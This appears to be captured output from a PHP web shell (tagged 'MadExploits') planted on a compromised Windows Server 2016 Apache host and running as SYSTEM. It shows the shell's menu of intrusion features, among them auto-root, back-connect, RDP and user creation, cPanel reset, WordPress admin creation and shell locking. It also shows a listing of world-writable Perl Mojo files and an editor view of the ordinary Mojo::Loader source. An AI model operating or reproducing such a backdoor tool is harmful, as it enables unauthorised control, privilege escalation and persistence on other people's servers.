Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
xampp7 /
perl /
vendor /
lib /
Mojo /
[ HOME SHELL ]
Name
Size
Permission
Action
Asset
[ DIR ]
drwxrwxrwx
Content
[ DIR ]
drwxrwxrwx
Cookie
[ DIR ]
drwxrwxrwx
DOM
[ DIR ]
drwxrwxrwx
IOLoop
[ DIR ]
drwxrwxrwx
JSON
[ DIR ]
drwxrwxrwx
Message
[ DIR ]
drwxrwxrwx
Reactor
[ DIR ]
drwxrwxrwx
Server
[ DIR ]
drwxrwxrwx
Transaction
[ DIR ]
drwxrwxrwx
UserAgent
[ DIR ]
drwxrwxrwx
resources
[ DIR ]
drwxrwxrwx
Asset.pm
3.12
KB
-rw-rw-rw-
Base.pm
11.48
KB
-rw-rw-rw-
ByteStream.pm
8.31
KB
-rw-rw-rw-
Cache.pm
1.3
KB
-rw-rw-rw-
Collection.pm
10.15
KB
-rw-rw-rw-
Content.pm
14.59
KB
-rw-rw-rw-
Cookie.pm
1.55
KB
-rw-rw-rw-
DOM.pm
29.95
KB
-rw-rw-rw-
Date.pm
4.45
KB
-rw-rw-rw-
DynamicMethods.pm
2.96
KB
-rw-rw-rw-
EventEmitter.pm
3.49
KB
-rw-rw-rw-
Exception.pm
10.03
KB
-rw-rw-rw-
File.pm
12.88
KB
-rw-rw-rw-
Headers.pm
19.18
KB
-rw-rw-rw-
HelloWorld.pm
883
B
-rw-rw-rw-
Home.pm
1.64
KB
-rw-rw-rw-
IOLoop.pm
17.42
KB
-rw-rw-rw-
JSON.pm
8.94
KB
-rw-rw-rw-
Loader.pm
4.38
KB
-rw-rw-rw-
Log.pm
6.79
KB
-rw-rw-rw-
Message.pm
17.22
KB
-rw-rw-rw-
Parameters.pm
8.75
KB
-rw-rw-rw-
Path.pm
7.9
KB
-rw-rw-rw-
Promise.pm
14.68
KB
-rw-rw-rw-
Reactor.pm
5.66
KB
-rw-rw-rw-
Server.pm
4.41
KB
-rw-rw-rw-
Template.pm
17.82
KB
-rw-rw-rw-
Transaction.pm
6.9
KB
-rw-rw-rw-
URL.pm
12.55
KB
-rw-rw-rw-
Upload.pm
1.57
KB
-rw-rw-rw-
UserAgent.pm
34.61
KB
-rw-rw-rw-
Util.pm
22.55
KB
-rw-rw-rw-
WebSocket.pm
7.1
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Loader.pm
package Mojo::Loader; use Mojo::Base -strict; use Exporter qw(import); use Mojo::Exception; use Mojo::File qw(path); use Mojo::Util qw(b64_decode class_to_path); our @EXPORT_OK = qw(data_section file_is_binary find_modules find_packages load_class); my (%BIN, %CACHE); sub data_section { $_[0] ? $_[1] ? _all($_[0])->{$_[1]} : _all($_[0]) : undef } sub file_is_binary { keys %{_all($_[0])} ? !!$BIN{$_[0]}{$_[1]} : undef } sub find_modules { my $ns = shift; my %modules; for my $directory (@INC) { next unless -d (my $path = path($directory, split(/::|'/, $ns))); $modules{"${ns}::$_"}++ for $path->list->grep(qr/\.pm$/)->map('basename', '.pm')->each; } return sort keys %modules; } sub find_packages { my $ns = shift; no strict 'refs'; return sort map { /^(.+)::$/ ? "${ns}::$1" : () } keys %{"${ns}::"}; } sub load_class { my $class = shift; # Invalid class name return 1 if ($class || '') !~ /^\w(?:[\w:']*\w)?$/; # Load if not already loaded return undef if $class->can('new') || eval "require $class; 1"; # Does not exist return 1 if $@ =~ /^Can't locate \Q@{[class_to_path $class]}\E in \@INC/; # Real error return Mojo::Exception->new($@)->inspect; } sub _all { my $class = shift; return $CACHE{$class} if $CACHE{$class}; local $.; my $handle = do { no strict 'refs'; \*{"${class}::DATA"} }; return {} unless fileno $handle; seek $handle, 0, 0; my $data = join '', <$handle>; # Ignore everything before __DATA__ (some versions seek to start of file) $data =~ s/^.*\n__DATA__\r?\n/\n/s; # Ignore everything after __END__ $data =~ s/\n__END__\r?\n.*$/\n/s; # Split files (undef, my @files) = split /^@@\s*(.+?)\s*\r?\n/m, $data; # Find data my $all = $CACHE{$class} = {}; while (@files) { my ($name, $data) = splice @files, 0, 2; $all->{$name} = $name =~ s/\s*\(\s*base64\s*\)$// && ++$BIN{$class}{$name} ? b64_decode $data : $data; } return $all; } 1; =encoding utf8 =head1 NAME Mojo::Loader - Load all kinds of things =head1 SYNOPSIS use Mojo::Loader qw(data_section find_modules load_class); # Find modules in a namespace for my $module (find_modules 'Some::Namespace') { # Load them safely my $e = load_class $module; warn qq{Loading "$module" failed: $e} and next if ref $e; # And extract files from the DATA section say data_section($module, 'some_file.txt'); } =head1 DESCRIPTION L<Mojo::Loader> is a class loader and plugin framework. Aside from finding modules and loading classes, it allows multiple files to be stored in the C<DATA> section of a class, which can then be accessed individually. package Foo; 1; __DATA__ @@ test.txt This is the first file. @@ test2.html (base64) VGhpcyBpcyB0aGUgc2Vjb25kIGZpbGUu @@ test This is the third file. Each file has a header starting with C<@@>, followed by the file name and optional instructions for decoding its content. Currently only the Base64 encoding is supported, which can be quite convenient for the storage of binary data. =head1 FUNCTIONS L<Mojo::Loader> implements the following functions, which can be imported individually. =head2 data_section my $all = data_section 'Foo::Bar'; my $index = data_section 'Foo::Bar', 'index.html'; Extract embedded file from the C<DATA> section of a class, all files will be cached once they have been accessed for the first time. # List embedded files say for keys %{data_section 'Foo::Bar'}; =head2 file_is_binary my $bool = file_is_binary 'Foo::Bar', 'test.png'; Check if embedded file from the C<DATA> section of a class was Base64 encoded. =head2 find_packages my @pkgs = find_packages 'MyApp::Namespace'; Search for packages in a namespace non-recursively. =head2 find_modules my @modules = find_modules 'MyApp::Namespace'; Search for modules in a namespace non-recursively. =head2 load_class my $e = load_class 'Foo::Bar'; Load a class and catch exceptions, returns a false value if loading was successful, a true value if the class was not found, or a L<Mojo::Exception> object if loading failed. Note that classes are checked for a C<new> method to see if they are already loaded, so trying to load the same class multiple times may yield different results. # Handle exceptions if (my $e = load_class 'Foo::Bar') { die ref $e ? "Exception: $e" : 'Not found!'; } =head1 SEE ALSO L<Mojolicious>, L<Mojolicious::Guides>, L<https://mojolicious.org>. =cut
Close